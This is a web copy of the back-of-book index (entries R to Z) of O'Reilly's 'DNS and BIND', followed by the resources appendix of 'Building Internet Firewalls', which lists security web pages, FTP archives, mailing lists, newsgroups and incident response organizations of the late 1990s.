ROpts statistic : 7.6.2. Understanding the BIND Statistics
rotating addresses : 4.2.5. Address and Alias Records
round robin
10.12. Load Sharing Between Mirrored Servers
15.1.4. Multiple CNAME Records
route command : 8.5.1. Outages
routing loops : 5.3. The MX Algorithm
RP records
4.2.3. SOA Records
7.2.4.2. Responsible Person
A.1.3.3. RP Responsible Person - experimental
RQ statistic
7.6.2. Understanding the BIND Statistics
8.1.2. Capacity Planning
RR statistic : 7.6.2. Understanding the BIND Statistics
RRs : (see resource records)
rsh command : 13.6.5. rlogin and rsh to Host Fails Access Check
RT records
15.7.3. X25, ISDN, and RT
A.1.3.4. RT Route Through - experimental
RTCP statistic : 7.6.2. Understanding the BIND Statistics

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: S

SAns statistic
7.6.2. Understanding the BIND Statistics
8.1.2. Capacity Planning
SCO's Open Server : 6.4.7. SCO's Open Server 5.0
SDupQ statistic : 7.6.2. Understanding the BIND Statistics
search algorithm, resolver : 12.4. The Resolver Search Algorithm and Negative Caching
search directive
6.1.3. The search Directive
F.2.2. search (4.8.3 and later versions)
search list : 6.1.2. The Search List
avoiding with nslookup : 11.4. Avoiding the Search List
search option (nslookup) : 11.3. Option Settings
searching
database exhaustively : 2.6.5. Inverse Queries
domain : 11.1.3. Domain Searches
for IP addresses : 3.1.2. Finding IP Addresses
second-level domains : (see domains; subdomains)
secondary directive : F.1.3. secondary
secure_zone record : 15.4.6.2. Protecting zone data on the bastion host
security
8.1.1. Where Do I Put My Name Servers?
10.11. Securing Your Name Server
backing up zone data : 4.8.2. Backup Files
BIND features : 3.1. Getting BIND
firewalls : 15.4. DNS and Internet Firewalls
refused queries : 11.7.4. Query Refused
resolvers : 10.11.6. Resolving Name Server Configuration
"Response from unexpected source" message : 7.6.1. Common Syslog Messages
restricting queries : 10.11.2. Restricting Queries
unauthorized zone transfers : 10.11.3. Preventing Unauthorized Zone Transfers
security data category (logging) : 7.5.3. Category Details
semicolon (;)
for comments : F.2.4. ; and # (4.9.3 and later versions)
semicolon (;) for comments
4.3. Setting Up a BIND Configuration File
6.1.7. Comments
A.1. Master File Format
sendmail program
4.2.5. Address and Alias Records
5.1. MX Records
7.6.2. Understanding the BIND Statistics
DNS and : 6.3.2. Electronic Mail
sendmail.cf file
6.3.2. Electronic Mail
6.3.3. Updating .rhosts, hosts.equiv, etc.
sendto system calls : 7.6.2. Understanding the BIND Statistics
sequence space arithmetic : 7.2.3. Starting Over with a New Serial Number
serial numbers : 7.2.2. SOA Serial Numbers
backups and : 7.6.1. Common Syslog Messages
nslookup and : 11.1.4. Zone Transfers
unincremented : 13.3.1. 1. Forgot to Increment Serial Number
SErr statistic : 7.6.2. Understanding the BIND Statistics
server command (nslookup) : 11.5.3. Switching Servers
server bogus : 10.10. Avoiding a Bogus Name Server
server directive : F.1.20. server (8.X.X)
servers : (see name servers)
SERVFAIL errors
7.6.2. Understanding the BIND Statistics
13.3.3. 3. Slave Server Can't Load Zone Data
set all command (nslookup)
13.3.11. 11. Syntax Error in resolv.conf
13.6.1. Local Name Can't Be Looked Up
set command (nslookup) : 11.3. Option Settings
severity level, logging : 7.5. BIND 8 Logging
SFail statistic : 7.6.2. Understanding the BIND Statistics
SFErr statistic : 7.6.2. Understanding the BIND Statistics
SFwdQ, SFwdR statistics : 7.6.2. Understanding the BIND Statistics
shadow namespace : 15.4.6. A Shadow Namespace
shell script programming : 14.1. Shell Script Programming with nslookup
shortcuts for db files : 4.4. Abbreviations
shuffle address records : 10.12. Load Sharing Between Mirrored Servers
signals : 7.1. BIND Name Server Signals
debugging level and : 12.2.2. Changing the Debugging Level with Signals
to primary server, forgetting : 13.3.2. 2. Forgot to Signal Primary Master Server
Silicon Graphics' IRIX : 6.4.6. Silicon Graphics' IRIX
simple dialup connections : 15.5.1. Simple Dialup
size
data segment : 10.4.2.1. Changing the data segment size limit
subdomains : 9.2. How Many Children?
slave directive : F.1.7. slave
slave/secondary name servers
2.4.2. Types of Name Servers
4.8. Running a Slave Name Server
adding
8.2.1. Primary Master and Slave Servers
9.4.6. Adding a movie.edu Slave
checking zone (debugging example) : 12.3.4. A Slave Name Server Checking Its Zone (Debug Level 1)
forwarders and : 10.7. Building Up a Large Site-wide Cache with Forwarders
loading from other slaves : 8.2.1. Primary Master and Slave Servers
multiple : 4.8.3. Multiple Master Servers
mutual data infection : 13.6.8.3. Mutual infection
organizing db files of : 7.3.1. Using Several Directories
partial-slave servers : 8.2.3. Partial-Slave Servers
serial number : 7.2.2. SOA Serial Numbers
setting up : 9.4.3. An fx.movie.edu Slave
unable to load zone data : 13.3.3. 3. Slave Server Can't Load Zone Data
zone change notification
3.1. Getting BIND
10.2. DNS NOTIFY (Zone Change Notification)
zone transfers and : 7.1. BIND Name Server Signals
SNaAns statistic : 7.6.2. Understanding the BIND Statistics
SNXD statistic : 7.6.2. Understanding the BIND Statistics
SOA records
3.2.1. Where in the World Do I Fit?
3.2.2.1. The us domain
4.2.1. The db Files
4.2.3. SOA Records
4.8.4. SOA Values
7.2.2. SOA Serial Numbers
14.1.1. A Typical Problem
A.1.2.14. SOA start of authority
acceptable characters for : 4.5. Host Name Checking (BIND 4.9.4 and Later Versions)
changing values in : 8.4.1. Changing Other SOA Values
getting serial numbers for (example)
14.2.8. A Sample Program: check_soa
14.3.6. A Perl Version of check_soa
no NS records for : 13.5.2. Name Server Reports No NS Record for SOA MNAME
queries statistic : 7.6.2. Understanding the BIND Statistics
TTLs in : 8.4. Changing TTLs
socket descriptors : 12.3.1. Name Server Startup (Debug Level 1)
Socket.pm (Perl debugging tool) : 12.5. Tools
software, firewall : 15.4.1. Types of Firewall Software
software, name server : 8.1.1. Where Do I Put My Name Servers?
Solaris 2.x : 6.4.2. Sun's Solaris 2.x
Solaris operating system : 6.4.2.1. nscd
sorting addresses
10.5. Name Server Address Sorting
10.5.4. Multiple Sortlist Entries
sortlist directive
6.1.5. The sortlist Directive
6.3.1. Differences in Service Behavior
10.5.2. Remote Multihomed Hosts
F.1.6. sortlist
F.2.5. sortlist (4.9.3 and later versions)
source code for BIND
3.1. Getting BIND
B.1. Get the Source Code
space as RR names : 4.4.3. Repeat Last Name
spcl.DOMAIN file : 7.2.5. Generating the BIND Database from the Host Tables
special option : 8.2.1. Primary Master and Slave Servers
srchlist option (nslookup) : 11.3. Option Settings
SRI-NIC host : 1.2.1. The History of the Domain Name System
SRV records : 15.7.6. SRV
SSysQ statistic : 7.6.2. Understanding the BIND Statistics
stack size limit : 10.4.2.2. Changing the stack size limit
start of authority records : (see SOA records)
"starting" message
4.7.2. Check for Syslog Errors
7.6.1. Common Syslog Messages
startup files : 4.7.4. Editing the Startup Files
state-level domains : 2.2.2. Further Down
statistics
7.6.1. Common Syslog Messages
7.6.2. Understanding the BIND Statistics
frequency of statistics dumps : 10.4.3.3. Statistics interval
statistics data category (logging) : 7.5.3. Category Details
stderr channel (logging) : 7.5.2.4. Stderr channel
stub directive : F.1.9. stub (4.9.3)
stub resolvers : 2.5. Resolvers
managing delegation : 9.6.2.1. Another way to manage delegation: stubs
subdomains
2.1.2. Domains
(see also domains; parenting)
choosing : 3.2.1. Where in the World Do I Fit?
delegating : 2.4. Name Servers and Zones
how to read : 2.2.3. Reading Domain Names
naming : 3.2.2.1. The us domain
non-U.S. : 2.2.2. Further Down
SOA records
3.2.1. Where in the World Do I Fit?
3.2.2.1. The us domain
4.2.1. The db Files
4.2.3. SOA Records
4.8.4. SOA Values
acceptable characters for : 4.5. Host Name Checking (BIND 4.9.4 and Later Versions)
subnetting networks
6.1.5. The sortlist Directive
6.3.1. Differences in Service Behavior
10.5.2. Remote Multihomed Hosts
10.5.3. Address Sorting on Subnetted Networks
F.1.6. sortlist
F.2.5. sortlist (4.9.3 and later versions)
on/off octet boundaries : 9.5.1. Subnetting on an Octet Boundary
successful lookups (debugging example) : 12.3.2. A Successful Lookup (Debug Level 1)
Sun's Solaris 2.x : 6.4.2. Sun's Solaris 2.x
SunOS 4.x
6.4.1. Sun's SunOS 4.x
13.5.6. SunOS Resolver Is Configured, but Host Doesn't Use DNS
svc.conf file : 6.4.5. Digital's Digital UNIX
svcsetup utility : 6.4.5. Digital's Digital UNIX
switching name servers (nslookup) : 11.5.3. Switching Servers
syntax errors
4.7.2. Check for Syslog Errors
13.3.5. 5. Syntax Error in the Conf File or DNS Database File
in resolv.conf file : 13.3.11. 11. Syntax Error in resolv.conf
syslog channels (logging) : 7.5.2.2. Syslog channels
syslog file
4.7.2. Check for Syslog Errors
8.1.2. Capacity Planning
syslog messages : 7.6.1. Common Syslog Messages
system
administration : (see administration)
queries : 7.6.2. Understanding the BIND Statistics
startup files : 4.7.4. Editing the Startup Files
tuning : 10.4. System Tuning

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: T

tabs as RR names : 4.4.3. Repeat Last Name
TCP (Transmission Control Protocol)
application gateways : 15.4.1.2. Application gateways
virtual circuits
11.3. Option Settings
14.2.5. The _res Structure
TCP/IP protocol : 1.1. A (Very) Brief History of the Internet
DNS with : 1.5.3. If you have your own TCP/IP-based internet...
nslookup and : 11.3. Option Settings
telnet service and RCS : 6.3.1. Differences in Service Behavior
temporary root servers : 8.6.3. Really Long Outages (Weeks)
TERM signal : 7.1. BIND Name Server Signals
testing
domain setup : 4.7.3. Testing Your Setup with nslookup
zone transfers manually : 13.2.1. How to Use named-xfer
time to live (TTL)
2.7.1. Time to Live
4.2.9. The Root Cache Data
4.8.4. SOA Values
changing : 8.4. Changing TTLs
load sharing and : 10.12. Load Sharing Between Mirrored Servers
timeouts
nslookup
11.1.2. Timeouts
11.3. Option Settings
resolver queries : 6.1.4.1. One name server configured
TIS Firewall Toolkit : 15.4.1.2. Application gateways
TLDs : (see top-level domains)
"Too many open files" message
7.6.1. Common Syslog Messages
10.4.2.4. Changing the open files limit
13.5.3. Name Server Reports Too Many Open Files
top utility : 8.1.2. Capacity Planning
top-level domains : 2.1.2. Domains
choosing : 3.2.1. Where in the World Do I Fit?
generic (gTLDs)
2.2.1. Top-Level Domains
3.2.2.2. The generic top-level domains
Internet : 2.2.1. Top-Level Domains
list of : C. Top-Level Domains
naming subdomains as : 9.3. What to Name Your Children
root name servers : 2.6.1. Root Name Servers
topology feature : 10.6. Preferring Name Servers on Certain Networks
touch command : 7.6.1. Common Syslog Messages
tracing queries and responses : 11.6.1. Seeing the Query and Response Packets
traffic
1.2.1. The History of the Domain Name System
2.7. Caching
8.1.2. Capacity Planning
(see also performance)
dial-on-demand and : 15.5.2. Dial-on-Demand
limiting : 10.4.1.1. Limiting transfers initiated per name server
load sharing : 10.12. Load Sharing Between Mirrored Servers
root name servers : 2.6.1. Root Name Servers
trailing dot in domain names
2.1.1. Domain Names
4.2.3. SOA Records
4.4.1. Appending Domains
13.3.6. 6. Missing Dot at the End of a Name in a DNS Database File
A.1. Master File Format
transfer-format substatement : 10.4.1.4. More efficient zone transfers
transfers-in substatement
10.4.1.2. Limiting the total number of zone transfers initiated
F.1.11.1. limit transfers-in
transfers-per-ns substatement
10.4.1.1. Limiting transfers initiated per name server
F.1.11.1. limit transfers-in
F.1.11.2. limit transfers-per-ns
translating : (see mapping)
transmission order : A.3.3. Data Transmission Order
troubleshooting
11.7. Troubleshooting nslookup Problems
13. Troubleshooting DNS and BIND
13.6.8.4. What have I got?
(see also debugging)
checking delegation
9.6. Good Parenting
9.6.2. Managing Delegation
corrupted cache
13.6.8. Name Server Keeps Loading Old Data
13.6.8.4. What have I got?
interoperability problems : 13.5. Interoperability and Version Problems
list of potential problems : 13.3. Potential Problem List
NIS problems : 13.1. Is NIS Really Your Problem?
nslookup program : 11.7. Troubleshooting nslookup Problems
preventative measures
8.5.2. Recommendations
8.6. Coping with Disaster
preventing and handling disasters : 8.5. Planning for Disasters
recognizing symptoms : 13.6. Problem Symptoms
tools and techniques : 13.2. Troubleshooting Tools and Techniques
truncated packets : 11.3. Option Settings
TRY_AGAIN error : 14.2.4. The Resolver Library Routines
TTL (time to live)
2.7.1. Time to Live
4.2.9. The Root Cache Data
4.8.4. SOA Values
changing : 8.4. Changing TTLs
load sharing and : 10.12. Load Sharing Between Mirrored Servers
TXT records
7.2.4.1. General text information
A.1.2.15. TXT text
queries statistic : 7.6.2. Understanding the BIND Statistics
secure zones and : 10.11.2.2. Restricting queries in a particular zone

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: U

UDP response packets
7.6.1. Common Syslog Messages
8.3. Registering Name Servers
11.3. Option Settings
checksums disabled : 13.5.5. Name Server Startup Fails Because UDP Checksums Disabled
overflowing : 11.7.7. Unspecified Error
unauthorized zone transfers : 10.11.3. Preventing Unauthorized Zone Transfers
uncompressing BIND source code : B.2. Unpack the Source Code
uncompressing domain names : 14.2.6. The Name Server Library Routines
uninterruptable power system (UPS) : 8.5.2. Recommendations
UNIX and vendor-specific BIND implementations : 6.4. Vendor-Specific Options
unknown query types : 7.6.2. Understanding the BIND Statistics
unpacking BIND code : B.2. Unpack the Source Code
"unreachable" message : 7.6.1. Common Syslog Messages
"unspecified error" (nslookup) : 11.7.7. Unspecified Error
update commands (nsupdate) : 10.3. DNS Dynamic Update
update data category (logging) : 7.5.3. Category Details
updating
authorization files : 6.3.3. Updating .rhosts, hosts.equiv, etc.
db files : 7.2. Updating db Files
db.cache file : 7.2.6. Keeping db.cache Current
dynamically : 10.3. DNS Dynamic Update
glue records : 9.4.4. On the movie.edu Primary Master
named.root file : 4.2.9. The Root Cache Data
upgrading BIND version : 13.4. Transition Problems
UPS (uninterruptable power system) : 8.5.2. Recommendations
us domain : 3.2.2. Elsewhere in the World
USAGE messages : 7.6.1. Common Syslog Messages
Usenet news on BIND : 3.1.1. Handy Mailing Lists and Usenet Newsgroups
/usr/etc/resolv.conf : (see resolv.conf file)
USR1 and USR2 signals
7.1. BIND Name Server Signals
7.5. BIND 8 Logging
12.2.2. Changing the Debugging Level with Signals
UUCP, DNS with : 1.5.2. If you have a UUCP connection to a host on the Internet...

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: V

vc option (nslookup) : 11.3. Option Settings
vendor-specific BIND options : 6.4. Vendor-Specific Options
versions, BIND
Versions
3.1. Getting BIND
10.11.1. BIND Version
15.4.2. A Bad Example
interoperability problems : 13.5. Interoperability and Version Problems
transitions between : 13.4. Transition Problems
views : 15.4.5. Views
virtual circuits
11.3. Option Settings
14.2.5. The _res Structure
visibility of name space : 15.4.6. A Shadow Namespace

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: W

"want recursion" string : 11.6.1. Seeing the Query and Response Packets
whois service
3.2.1.1. whois
3.2.4. Registering with Your Parent
checking network registration : 3.2.3. Checking That Your Network Is Registered
wildcards
15.2. Wildcards
15.4.4.7. Mail from internal hosts to the Internet
WINCH signal
7.1. BIND Name Server Signals
7.6.1. Common Syslog Messages
13.2.3. Logging Queries
Windows 95 : 6.4.9. Windows 95
Windows NT : 6.4.10. Windows NT
WINS records, proprietary : 13.5.1. Zone Transfer Fails Because of Proprietary WINS Record
WINS servers : 15.9. DNS and WINS
Wisner, Bill : 6.4.1.1. Modified resolvers
WKS records : A.1.2.16. WKS well-known services
wrong answers : 13.6.3. Wrong or Inconsistent Answer

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: X

X.121 addresses : 15.7.3. X25, ISDN, and RT
X.400 : A.1.4.1. PX pointer to X.400/RFC 822 mapping information
X.500 directory system : 15.8. DNS Versus X.500
X0.hosts file : 6.3.3. Updating .rhosts, hosts.equiv, etc.
X25 records
15.7.3. X25, ISDN, and RT
A.1.3.5. X25 X.25 address - experimental
xfer-in data category (logging) : 7.5.3. Category Details
xfer-out data category (logging) : 7.5.3. Category Details
xfrnets directive
10.11.3. Preventing Unauthorized Zone Transfers
F.1.12. xfrnets (4.9.3)
XSTATS messages : 7.6.1. Common Syslog Messages

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: Y

ypcat command : 13.1. Is NIS Really Your Problem?
ypmatch command : 13.1. Is NIS Really Your Problem?
ypserv program : 6.4.1. Sun's SunOS 4.x

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: Z

zero address : 6.1.4. The nameserver Directive
zero-valued serial number : 7.2.3. Starting Over with a New Serial Number
zone directive : F.1.21. zone (8.X.X)
zone allow-transfer : 10.11.3. Preventing Unauthorized Zone Transfers
zone transfers
backups and : 7.6.1. Common Syslog Messages
DNS NOTIFY and : 10.2. DNS NOTIFY (Zone Change Notification)
improving efficiency of : 10.4.1.4. More efficient zone transfers
limiting : 10.4.1.1. Limiting transfers initiated per name server
nslookup for
11.1.4. Zone Transfers
11.6.3. Zone Transfers
performance tuning : 10.4.1. Zone Transfers
process IDs for : 7.1. BIND Name Server Signals
proprietary WINS records : 13.5.1. Zone Transfer Fails Because of Proprietary WINS Record
testing manually : 13.2.1. How to Use named-xfer
testing with named-xfer : (see named-xfer program)
unauthorized : 10.11.3. Preventing Unauthorized Zone Transfers
zones : 2.4. Name Servers and Zones
backing up data : 4.8.2. Backup Files
change notification (DNS NOTIFY)
3.1. Getting BIND
10.2. DNS NOTIFY (Zone Change Notification)
checking (debugging example) : 12.3.4. A Slave Name Server Checking Its Zone (Debug Level 1)
checking delegation : 13.3.9. 9. Missing Subdomain Delegation
creating subdomains in : 9.4.1. Creating a Subdomain in the Parent's Zone
data on bastion hosts : 15.4.6.2. Protecting zone data on the bastion host
data warning message : 7.6.1. Common Syslog Messages
out-of-zone resource records : 13.4.2. Name Server Behavior
security : (see security)
serial number : 7.2.3. Starting Over with a New Serial Number
SOA records
3.2.1. Where in the World Do I Fit?
3.2.2.1. The us domain
4.2.1. The db Files
4.2.3. SOA Records
4.8.4. SOA Values
acceptable characters for : 4.5. Host Name Checking (BIND 4.9.4 and Later Versions)
unable to load zone data : 13.3.3. 3. Slave Server Can't Load Zone Data
zone data files : (see db files)
zone transfers
2.4.2. Types of Name Servers
4.8. Running a Slave Name Server

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


[Appendix A] Resources

Building Internet Firewalls

Building Internet FirewallsSearch this book
Previous: IV. Apendixes Appendix A Next: A.2 FTP Sites

A. Resources

Contents:
WWW Pages
FTP Sites
Mailing Lists
Newsgroups
Response Teams and Other Organizations
Conferences
Papers
Books

This book can't hope to tell you everything you need to know about firewalls and the broader issues of network and Internet security. In this appendix we have pulled together references to what we think are the most useful additional resources. These include both electronic and offline resources: World Wide Web pages, FTP sites, mailing lists, newsgroups, emergency response teams, other types of organizations, papers, conferences, and books. This is not an exhaustive list. Because there are so many resources, and because technologies and publications change so rapidly, there is no way we can keep completely up to date. However, this list should point you in some useful directions.

A.1 WWW Pages

You'll find these two WWW pages particularly informative.

A.1.1 Telstra

http://www.telstra.com.au/info/security.html

This outstanding WWW page is maintained by Telstra Corporation (formerly maintained by Telecom Australia). It is very useful as a jumping-off point to other WWW pages and Internet resources related to network security.

A.1.2 COAST

http://www.cs.purdue.edu/coast/coast.html

COAST has an excellent WWW page, which describes COAST's mission as follows:

COAST - Computer Operations, Audit, and Security Technology - is a multiple project, multiple investigator effort in computer security research in the Computer Science Department at Purdue University. It is intended to function with close ties to researchers and engineers in major companies and government agencies. We focus our research on real-world needs and limitations.

Previous: IV. Apendixes | Building Internet Firewalls | Next: A.2 FTP Sites
IV. Apendixes | Book Index | A.2 FTP Sites


[Appendix A] A.2 FTP Sites

Building Internet Firewalls

Building Internet FirewallsSearch this book
Previous: A.1 WWW Pages Appendix A
Resources 		Next: A.3 Mailing Lists

A.2 FTP Sites

These two sites are an excellent source of tools, papers, security patches, and other Internet security resources.

A.2.1 coast.cs.purdue.edu

ftp://coast.cs.purdue.edu/

This archive is maintained by the COAST computer and network security project at Purdue University (see the description under the COAST WWW page above) under the direction of Gene Spafford. It contains a large collection of software and papers related to UNIX and network security, collected from all over the world.

Collected abstracts for the many tools and papers on the server are in the /pub/aux directory:

ftp://coast.cs.purdue.edu/pub/aux/tools.abstract
ftp://coast.cs.purdue.edu/pub/aux/documents.abstract

A.2.2 info.cert.org

ftp://info.cert.org/

This site contains all of the Computer Emergency Response Team Coordination Center (CERT-CC) past advisories (see the discussion of CERT-CC under "Organizations" below), as well as a small collection of tools and papers.

Previous: A.1 WWW Pages | Building Internet Firewalls | Next: A.3 Mailing Lists
A.1 WWW Pages | Book Index | A.3 Mailing Lists


[Appendix A] A.3 Mailing Lists

Building Internet Firewalls

Building Internet FirewallsSearch this book
Previous: A.2 FTP Sites Appendix A
Resources 		Next: A.4 Newsgroups

A.3 Mailing Lists

It's hard to stay up to date, because technologies and approaches for firewalls and other Internet security mechanisms change so rapidly. You'll find these mailing lists helpful in keeping informed.

A.3.1 Firewalls

The Firewalls mailing list, which is hosted by Great Circle Associates, is the primary forum for folks on the Internet who want to discuss the design, construction, operation, maintenance, and philosophy of Internet firewall security systems. Send a message to majordomo@greatcircle.com with "subscribe firewalls" in the body of the message to subscribe to the list.

The Firewalls mailing list is fairly high-volume (sometimes as many as 100 messages per day, though usually more like 10 to 20 per day). To accommodate subscribers who don't want their mailboxes flooded with lots of separate messages from Firewalls, there is also a Firewalls-Digest mailing list available. Subscribers to Firewalls-Digest receive daily (more frequent on busy days) digests of messages sent to Firewalls, rather than each message individually. Firewalls-Digest subscribers get all the same messages as Firewalls subscribers; that is, Firewalls-Digest is not moderated, just distributed in digest form.

Mail to ftp.greatcircle.com for archives of the Firewalls mailing list.

ftp://ftp.greatcircle.com/pub/firewalls/

There is also a WWW-browsable archive for Firewalls currently under construction; it should be available by the time this book hits the shelves:

http://www.greatcircle.com/firewalls

Finally, there is also a WAIS server available for searching past messages. The server is on host wais.greatcircle.com; the database name is "firewalls-digest".

A.3.2 FWALL-Users

The FWALL-Users mailing list is for discussions of problems, solutions, and so on among users of the TIS Internet Firewall Toolkit (FWTK). Send email to fwall-users-request@tis.com to subscribe to this list.

A.3.3 Academic-Firewalls

The Academic-Firewalls mailing list is for people interested in discussing firewalls in the academic environment. This mailing list is sponsored by Texas A&M University. To subscribe, send "subscribe academic-firewalls" in the body of a message to majordomo@net.tamu.edu. Mail to net.tamu.edu for archives.

ftp://net.tamu.edu/pub/security/lists/academic-firewalls/

A.3.4 BugTraq

This list is for detailed discussion of UNIX security holes: what they are, how to exploit them, and what to do to fix them. This list is not intended to be about cracking systems or exploiting their vunerabilities. It is about defining, recognizing, and preventing use of security holes and risks.

Send "subscribe bugtraq" in the body of a message to bugtraq-request@fc.net to subscribe to this list.

A.3.5 CERT-Advisory

New CERT-CC advisories of security fixes for Internet systems are posted to this list. Send to cert-advisory-request@cert.org for subscription requests.

Archived past advisories are available from info.cert.org via anonymous FTP.

ftp://info.cert.org/

A.3.6 RISKS

RISKS is officially known as the ACM Forum on Risks to the Public in the Use of Computers and Related Systems. It's a moderated forum for discussion of risks to society from computers and computerization. Send email subscription requests to RISKS-Request@csl.sri.com. Back issues are available from crvax.sri.com via anonymous FTP.

ftp://crvax.sri.com/risks/

RISKS is also distributed as the comp.risks Usenet newsgroup.

A.3.7 WWW-Security

The WWW-Security mailing list is for the discussion of the security aspects of WWW servers and clients. Send "subscribe www-security" in the body of a message to majordomo@nsmx.rutgers.edu to subscribe to this list.

Previous: A.2 FTP Sites | Building Internet Firewalls | Next: A.4 Newsgroups
A.2 FTP Sites | Book Index | A.4 Newsgroups


[Appendix A] A.4 Newsgroups

Building Internet Firewalls

Building Internet FirewallsSearch this book
Previous: A.3 Mailing Lists Appendix A
Resources 		Next: A.5 Response Teams and Other Organizations

A.4 Newsgroups

There are a variety of Usenet newsgroups that you might find an interesting source of information on network security and related topics:

  • comp.security.announce - computer security announcements, including new CERT-CC advisories

  • comp.security.unix - UNIX security

  • comp.security.misc - miscellaneous computer and network security

  • comp.security.firewalls - proposed newsgroup on firewalls; might never be created

  • alt.security - alternative discussions of computer and network security

  • comp.admin.policy - computer administrative policy issues, including security

  • comp.protocols.tcp-ip - TCP/IP internals, including security

  • comp.unix.admin - UNIX system administration, including security

  • comp.unix.wizards - UNIX kernel internals, including security

Previous: A.3 Mailing Lists | Building Internet Firewalls | Next: A.5 Response Teams and Other Organizations
A.3 Mailing Lists | Book Index | A.5 Response Teams and Other Organizations


[Appendix A] A.5 Response Teams and Other Organizations

Building Internet Firewalls

Building Internet FirewallsSearch this book
Previous: A.4 Newsgroups Appendix A
Resources 		Next: A.6 Conferences

A.5 Response Teams and Other Organizations

These organizations are particularly helpful if you experience a break-in or any kind of security incident at your site. They are also sources of useful general information about Internet security and incident response.

A.5.1 CERT-CC

ftp://info.cert.org/pub/cert_faq

From the Computer Emergency Response Team Coordination Center's (CERT-CC) Frequently Asked Questions (FAQ) document:

The CERT Coordination Center is the organization that grew from the computer emergency response team formed by the Defense Advanced Research Projects Agency (DARPA) in November 1988 in response to the needs exhibited during the Internet worm incident. The CERT-CC charter is to work with the Internet community to facilitate its response to computer security events involving Internet hosts; to take proactive steps to raise the community's awareness of computer security issues; and to conduct research targeted at improving the security of existing systems.

CERT-CC products and services include 24-hour technical assistance for responding to computer security incidents, product vulnerability assistance, technical documents, and seminars. In addition, the team maintains a number of mailing lists (including one for CERT-CC advisories) and provides an anonymous FTP server: info.cert.org, where security-related documents, past CERT-CC advisories, and tools are archived.

The CERT-CC FAQ, and other information about CERT-CC are available from info.cert.org via anonymous FTP.

You can contact CERT-CC:

  • By telephone: +1 412 268-7090 (24 hours a day, seven days a week)

  • By email: cert@cert.org

A.5.2 FIRST

http://www.first.org/first/

From the FIRST WWW page:

This coalition, the Forum of Incident Response and Security Teams (FIRST), brings together a variety of computer security incident response teams from government, commercial, and academic organizations. FIRST aims to foster cooperation and coordination in incident prevention, to prompt rapid reaction to incidents, and to promote information sharing among members and the community at large. Currently FIRST has more than 40 members.

If you're not sure if you are served by an incident response team, contact FIRST; they can probably tell you. You can contact FIRST:

  • By telephone: +1 301-975-3359

  • By fax: +1 301 948-0279

  • By email: first-sec@first.org

A.5.3 NIST CSRC

http://csrc.ncsl.nist.gov/

From the U.S. National Institute of Standards and Technology CSRC WWW page:

You are currently accessing the NIST Computer Security Resource Clearinghouse. The Clearinghouse is a National Performance Review (NPR) action. The Clearinghouse project at NIST is on-going; its goals are to

  • Unify computer security-related information

  • Ensure the information is complete and accurate

  • Make the information easily searchable and convenient to obtain

  • Keep the information current

  • Make the Clearinghouse self-documenting; a model for how to do it

The main focus is on crisis response information; information on computer security-related threats, vulnerabilities, and solutions. At the same time, the Clearinghouse strives to be a general index to computer security information on a broad variety of subjects, including general risks, privacy, legal issues, viruses, assurance, policy, and training.

A.5.4 USENIX Association

http://www.usenix.org/

From the USENIX WWW page:

Since 1975 the USENIX Association has brought together the community of engineers, scientists, and technicians working on the cutting edge of the computing world. The USENIX Conferences and Technical Workshops have become the essential meeting grounds for the presentation and discussion of the most advanced information on the developments of all aspects of computing systems.

USENIX and its members are dedicated to:

  • problem-solving with a practical bias

  • Fostering innovation and research that works

  • Communicating rapidly the results of both research and innovation

  • Providing a neutral forum for the exercise of critical thought and the airing of technical issues

USENIX serves its members and supports professional and technical development through a variety of on-going activities, including:

  • Annual technical conference.

  • Frequent specific-topic conferences and symposia.

  • A highly regarded tutorial program covering a wide range of topics, introductory through advanced.

  • Numerous publications, including a book series, in cooperation with The MIT Press, on advanced computing systems; proceedings from USENIX symposia and conferences; the quarterly journal Computing Systems; and the biweekly newsletter.

  • Participation in various ANSI, IEEE and ISO standards efforts.

